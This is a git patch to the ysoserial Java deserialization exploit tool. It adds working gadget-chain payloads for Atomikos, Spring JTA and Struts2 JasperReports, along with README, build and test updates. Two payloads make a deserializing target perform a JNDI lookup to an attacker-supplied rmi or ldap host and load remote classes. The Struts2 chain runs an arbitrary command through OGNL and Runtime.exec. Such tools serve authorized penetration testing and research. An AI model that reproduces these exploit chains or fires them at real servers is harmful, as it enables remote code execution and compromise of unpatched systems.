From 02e2500874df70ae3fee22d4da4e418feb95daef Mon Sep 17 00:00:00 2001 From: Stefano Ciccone Date: Wed, 27 Apr 2022 07:06:23 +0200 Subject: [PATCH] New gadgets (Struts2JasperReports - Atomikos - SpringJta) (#123) * added Atomikos gadget payload * added Atomikos gadget payload * naming * added spring-jta gadget * added strutsJasperReports gadget + tests * updated deps list on springJta * fixed authors * renaming --- README.md | 76 ++++++------ pom.xml | 32 ++++- .../java/ysoserial/payloads/Atomikos.java | 77 ++++++++++++ .../java/ysoserial/payloads/SpringJta.java | 74 +++++++++++ .../payloads/Struts2JasperReports.java | 115 ++++++++++++++++++ .../payloads/annotation/Authors.java | 2 + .../test/payloads/JRMPReverseConnectTest.java | 2 +- .../payloads/Struts2JasperReportsTest.java | 47 +++++++ 8 files changed, 384 insertions(+), 41 deletions(-) create mode 100644 src/main/java/ysoserial/payloads/Atomikos.java create mode 100644 src/main/java/ysoserial/payloads/SpringJta.java create mode 100644 src/main/java/ysoserial/payloads/Struts2JasperReports.java create mode 100644 src/test/java/ysoserial/test/payloads/Struts2JasperReportsTest.java diff --git a/README.md b/README.md index b395c9a..6dfa8c1 100644 --- a/README.md +++ b/README.md @@ -43,44 +43,46 @@ are not responsible or liable for misuse of the software. Use responsibly. ```shell $ java -jar ysoserial.jar Y SO SERIAL? -Usage: java -jar ysoserial.jar [payload] '[command]' +Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]' Available payload types: - Payload Authors Dependencies - ------- ------- ------------ - AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 - BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 - C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 - Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 - Clojure @JackOfMostTrades clojure:1.8.0 - CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 - CommonsCollections1 @frohoff commons-collections:3.1 - CommonsCollections2 @frohoff commons-collections4:4.0 - CommonsCollections3 @frohoff commons-collections:3.1 - CommonsCollections4 @frohoff commons-collections4:4.0 - CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 - CommonsCollections6 @matthias_kaiser commons-collections:3.1 - CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1 - FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 - Groovy1 @frohoff groovy:2.3.9 - Hibernate1 @mbechler - Hibernate2 @mbechler - JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 - JRMPClient @mbechler - JRMPListener @mbechler - JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 - JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 - Jdk7u21 @frohoff - Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 - MozillaRhino1 @matthias_kaiser js:1.7R2 - MozillaRhino2 @_tint0 js:1.7R2 - Myfaces1 @mbechler - Myfaces2 @mbechler - ROME @mbechler rome:1.0 - Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE - Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 - URLDNS @gebl - Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14 - Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 + Payload Authors Dependencies + ------- ------- ------------ + Atomikos @pwntester, @sciccone transactions-osgi:4.0.6, jta:1.1 + BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 + C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 + Clojure @JackOfMostTrades clojure:1.8.0 + CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 + CommonsCollections1 @frohoff commons-collections:3.1 + CommonsCollections2 @frohoff commons-collections4:4.0 + CommonsCollections3 @frohoff commons-collections:3.1 + CommonsCollections4 @frohoff commons-collections4:4.0 + CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 + CommonsCollections6 @matthias_kaiser commons-collections:3.1 + CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1 + FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 + Groovy1 @frohoff groovy:2.3.9 + Hibernate1 @mbechler + Hibernate2 @mbechler + JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 + JRMPClient @mbechler + JRMPListener @mbechler + JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 + JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 + Jdk7u21 @frohoff + Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 + MozillaRhino1 @matthias_kaiser js:1.7R2 + MozillaRhino2 @_tint0 js:1.7R2 + Myfaces1 @mbechler + Myfaces2 @mbechler + ROME @mbechler rome:1.0 + Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE + Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 + SpringJta @zerothoughts, @sciccone spring-tx:5.1.7.RELEASE, spring-context:5.1.7.RELEASE, jta:1.1 + Struts2JasperReports @sciccone struts2-core:2.5.20, struts2-jasperreports-plugin:2.5.20 + URLDNS @gebl + Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14 + Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 + ``` ## Examples diff --git a/pom.xml b/pom.xml index 97a10db..c87a346 100644 --- a/pom.xml +++ b/pom.xml @@ -277,9 +277,9 @@ 1.7R2 - javassist - javassist - 3.12.0.GA + javassist + javassist + 3.12.0.GA org.jboss.weld @@ -326,6 +326,32 @@ vaadin-server 7.7.14 + + com.atomikos + transactions-osgi + 4.0.6 + + + org.springframework + spring-tx + 5.1.7.RELEASE + + + org.springframework + spring-context + 5.1.7.RELEASE + + + org.apache.struts + struts2-core + 2.5.20 + + + org.apache.struts + struts2-jasperreports-plugin + 2.5.20 + + org.aspectj aspectjweaver diff --git a/src/main/java/ysoserial/payloads/Atomikos.java b/src/main/java/ysoserial/payloads/Atomikos.java new file mode 100644 index 0000000..f21e688 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Atomikos.java @@ -0,0 +1,77 @@ +package ysoserial.payloads; + +import javax.management.BadAttributeValueExpException; + +import com.atomikos.icatch.jta.RemoteClientUserTransaction; + +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +/** +* +* Gadget chain: +* +* javax/management/BadAttributeValueExpException.readObject() +* com/atomikos/icatch/jta/RemoteClientUserTransaction.toString() +* com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup() +* javax/naming/InitialContext.lookup() +* +* +* Arguments: +* - (rmi,ldap)://[:]/ +* +* +* @author pwntester +* payload added by sciccone +* +* This gadget chain was also discovered by pwntester: +* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf +* +*/ +@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest") +@Dependencies( { "com.atomikos:transactions-osgi:4.0.6", "javax.transaction:jta:1.1" } ) +@Authors({ Authors.PWNTESTER, Authors.SCICCONE }) +public class Atomikos implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + + // validate command + int sep = command.lastIndexOf('/'); + if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi"))) + throw new IllegalArgumentException("Command format is: " + command + + "(rmi,ldap)://[:]/"); + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // create factory based on url + String initialContextFactory; + if (url.startsWith("ldap")) + initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory"; + else + initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory"; + + // create object + RemoteClientUserTransaction rcut = new RemoteClientUserTransaction(); + + // set values using reflection + Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory); + Reflections.setFieldValue(rcut, "providerUrl", url); + Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className); + + // create exception + BadAttributeValueExpException exception = new BadAttributeValueExpException(null); + Reflections.setFieldValue(exception, "val", rcut); + + return exception; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Atomikos.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/SpringJta.java b/src/main/java/ysoserial/payloads/SpringJta.java new file mode 100644 index 0000000..30aa454 --- /dev/null +++ b/src/main/java/ysoserial/payloads/SpringJta.java @@ -0,0 +1,74 @@ +package ysoserial.payloads; + +import org.springframework.transaction.jta.JtaTransactionManager; + +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; + +/** +* +* Gadget chain: +* +* org.springframework.transaction.jta.JtaTransactionManager.readObject() +* org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager() +* org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction() +* org.springframework.jndi.JndiTemplate.lookup() +* javax.naming.InitialContext.lookup() +* +* +* Arguments: +* - (rmi,ldap)://[:]/ +* +* +* @author zerothoughts +* payload added by sciccone +* +* This gadget was discovered by zerothoughts: +* https://github.com/zerothoughts/spring-jndi +* +*/ +@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest") +@Dependencies( { + "org.springframework:spring-tx:5.1.7.RELEASE", + "org.springframework:spring-context:5.1.7.RELEASE", + "javax.transaction:jta:1.1" + } ) +@Authors({ Authors.ZEROTHOUGHTS, Authors.SCICCONE }) +public class SpringJta implements ObjectPayload, DynamicDependencies { + + @Override + public Object getObject(String command) throws Exception { + + // validate command + if ( !(command.startsWith("ldap://") || command.startsWith("rmi://")) ) + throw new IllegalArgumentException("Command format is: " + + "(rmi,ldap)://[:]/"); + + // create object + JtaTransactionManager jta = new JtaTransactionManager(); + jta.setUserTransactionName(command); + + return jta; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(SpringJta.class, args); + } + + + // add dependencies for testing + public static String[] getDependencies () { + return new String[] { + "org.springframework:spring-tx:5.1.7.RELEASE", + "org.springframework:spring-context:5.1.7.RELEASE", + "org.springframework:spring-beans:5.1.7.RELEASE", + "org.springframework:spring-core:5.1.7.RELEASE", + "commons-logging:commons-logging:1.2", + "javax.transaction:jta:1.1" + }; + + } +} diff --git a/src/main/java/ysoserial/payloads/Struts2JasperReports.java b/src/main/java/ysoserial/payloads/Struts2JasperReports.java new file mode 100644 index 0000000..4e2bc96 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Struts2JasperReports.java @@ -0,0 +1,115 @@ +package ysoserial.payloads; + +import java.lang.reflect.Constructor; +import java.util.HashMap; + +import org.apache.struts2.views.jasperreports.ValueStackShadowMap; + +import com.opensymphony.xwork2.ActionContext; +import com.opensymphony.xwork2.TextProvider; +import com.opensymphony.xwork2.config.Configuration; +import com.opensymphony.xwork2.config.ConfigurationManager; +import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider; +import com.opensymphony.xwork2.conversion.impl.XWorkConverter; +import com.opensymphony.xwork2.inject.Container; +import com.opensymphony.xwork2.ognl.OgnlValueStack; +import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor; + +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +/** +* +* Gadget chain: +* +* +* java/util/HashMap.readObject(ObjectInputStream) +* java/util/HashMap.putVal(int, K, V, boolean, boolean) +* org/apache/struts2/views/jasperreports/ValueStackShadowMap(AbstractMap).equals(Object) +* org/apache/struts2/views/jasperreports/ValueStackShadowMap.get(String) +* com/opensymphony/xwork2/ognl/OgnlValueStack.findValue(String) //keyExpression +* +* Execution of embedded OGNL invoking template.newTrasformer (object put in the valueStack) +* +* TemplatesImpl.newTransformer() +* TemplatesImpl.getTransletInstance() +* TemplatesImpl.defineTransletClasses() +* TemplatesImpl.TransletClassLoader.defineClass() +* Pwner*(Javassist-generated). +* Runtime.exec() +* +* +* @author sciccone +* +*/ +@SuppressWarnings({ "unchecked" }) +@PayloadTest(harness="ysoserial.test.payloads.Struts2JasperReportsTest") +@Dependencies( { "org.apache.struts:struts2-core:2.5.20", "org.apache.struts:struts2-jasperreports-plugin:2.5.20" } ) +@Authors({ Authors.SCICCONE }) +public class Struts2JasperReports implements ObjectPayload, DynamicDependencies { + + @Override + public Object getObject(String command) throws Exception { + + // create required objects via reflection + Constructor c1 = XWorkConverter.class.getDeclaredConstructor(); + Constructor c2 = OgnlValueStack.class.getDeclaredConstructor( + XWorkConverter.class, CompoundRootAccessor.class, TextProvider.class, boolean.class); + c1.setAccessible(true); + c2.setAccessible(true); + XWorkConverter xworkConverter = c1.newInstance(); + OgnlValueStack ognlValueStack = c2.newInstance(xworkConverter,null,null,true); + + // inject templateImpl with embedded command + ognlValueStack.set("template", Gadgets.createTemplatesImpl(command)); + + // create shadowMaps + ValueStackShadowMap shadowMap1 = new ValueStackShadowMap(ognlValueStack); + ValueStackShadowMap shadowMap2 = new ValueStackShadowMap(ognlValueStack); + + // execute OGNL "(template.newTransformer()) upon deserialisation + String keyExpression = "(template.newTransformer())"; + shadowMap1.put(keyExpression, null); + shadowMap2.put(keyExpression, null); + + return Gadgets.makeMap(shadowMap1, shadowMap2); + } + + + public static void main ( final String[] args ) throws Exception { + initializeThreadLocalMockContainerForTesting(); + PayloadRunner.run(Struts2JasperReports.class, args); + } + + + /** + * Create mock container and mock actionContext, + * since a context is required for the payload being triggered upon deserialisation. + * Simulates an Apache Struts2 app up and running. + */ + public static void initializeThreadLocalMockContainerForTesting() { + ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME); + configurationManager.addContainerProvider(new XWorkConfigurationProvider()); + Configuration config = configurationManager.getConfiguration(); + Container container = config.getContainer(); + + HashMap context = new HashMap(); + context.put(ActionContext.CONTAINER, container); + ActionContext.setContext(new ActionContext(context)); + } + + // add dependencies for testing a mock struts2 app + public static String[] getDependencies () { + return new String[] { + "org.apache.struts:struts2-core:2.5.20", + "org.apache.struts:struts2-jasperreports-plugin:2.5.20", + "org.apache.logging.log4j:log4j-api:2.11.1", + "ognl:ognl:3.1.21", "org.apache.commons:commons-lang3:3.8.1", + "javassist:javassist:3.12.1.GA" + }; + + } +} diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java index 055a627..b834796 100644 --- a/src/main/java/ysoserial/payloads/annotation/Authors.java +++ b/src/main/java/ysoserial/payloads/annotation/Authors.java @@ -23,6 +23,8 @@ public @interface Authors { String SCRISTALLI = "scristalli"; String HANYRAX = "hanyrax"; String EDOARDOVIGNATI = "EdoardoVignati"; + String SCICCONE = "sciccone"; + String ZEROTHOUGHTS = "zerothoughts"; String NAVALORENZO = "navalorenzo"; String JANG = "Jang"; String ARTSPLOIT = "artsploit"; diff --git a/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java b/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java index a1523af..ef9ec5f 100644 --- a/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java +++ b/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java @@ -51,7 +51,7 @@ public class JRMPReverseConnectTest implements CustomTest { public String getPayloadArgs () { - return "rmi:localhost:" + port; + return "rmi://localhost:" + port + "/ExportObject"; } } diff --git a/src/test/java/ysoserial/test/payloads/Struts2JasperReportsTest.java b/src/test/java/ysoserial/test/payloads/Struts2JasperReportsTest.java new file mode 100644 index 0000000..6c76447 --- /dev/null +++ b/src/test/java/ysoserial/test/payloads/Struts2JasperReportsTest.java @@ -0,0 +1,47 @@ +package ysoserial.test.payloads; + +import java.util.HashMap; + +import com.opensymphony.xwork2.ActionContext; +import com.opensymphony.xwork2.config.Configuration; +import com.opensymphony.xwork2.config.ConfigurationManager; +import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider; +import com.opensymphony.xwork2.inject.Container; + +import ysoserial.Deserializer; +import ysoserial.test.CustomDeserializer; + +public class Struts2JasperReportsTest extends CommandExecTest implements CustomDeserializer { + + @Override + public Class getCustomDeserializer() { + return StrutsJasperReportsDeserializer.class; + } + + /** + * need to use a custom deserializer so that the action context gets set in the isolated class + * + * @author sciccone + * + */ + public static final class StrutsJasperReportsDeserializer extends Deserializer { + + public StrutsJasperReportsDeserializer(byte[] bytes) { + super(bytes); + } + + @Override + public Object call () throws Exception { + ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME); + configurationManager.addContainerProvider(new XWorkConfigurationProvider()); + Configuration config = configurationManager.getConfiguration(); + Container container = config.getContainer(); + + HashMap context = new HashMap(); + context.put(ActionContext.CONTAINER, container); + ActionContext.setContext(new ActionContext(context)); + return super.call(); + } + } + +}